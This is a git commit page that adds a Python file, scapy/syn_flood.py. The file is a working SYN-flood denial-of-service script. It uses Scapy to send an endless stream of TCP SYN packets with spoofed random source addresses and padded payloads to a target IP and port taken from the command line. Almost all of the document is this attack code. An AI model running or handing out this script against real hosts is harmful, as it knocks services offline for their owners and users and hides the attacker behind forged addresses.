diff options
| author | jerome <jerome@xlinfo.fr> | 2025-07-27 12:02:20 +0200 |
|---|---|---|
| committer | jerome <jerome@xlinfo.fr> | 2025-07-27 12:02:20 +0200 |
| commit | 506921e8aba41dd8dbf6910958309a4da331b858 (patch) | |
| tree | 36cdbb887596cf61498ecdf8ad93d2b2fe22d3ee | |
| parent | fb02675631cea33ba3660f96febe4a34fa0502b8 (diff) | |
| download | python-506921e8aba41dd8dbf6910958309a4da331b858.tar.gz python-506921e8aba41dd8dbf6910958309a4da331b858.zip | |
syn_flood
| -rw-r--r-- | scapy/syn_flood.py | 13 |
1 files changed, 13 insertions, 0 deletions
diff --git a/scapy/syn_flood.py b/scapy/syn_flood.py new file mode 100644 index 0000000..aa22d72 --- /dev/null +++ b/scapy/syn_flood.py @@ -0,0 +1,13 @@ +#!/usr/bin/python3 + +import sys +from scapy.all import * + +def syn_flood(target_ip,dport): + send(IP(src=RandIP(),dst=target_ip)/TCP(sport=RandShort(),dport=dport,flags="S")/Raw(b"X"*4096),loop=1) + +if __name__ == "__main__": + try: + syn_flood(sys.argv[1],int(sys.argv[2])) + except PermissionError: + print(f"{sys.argv[0]} nécessite les droits root") |
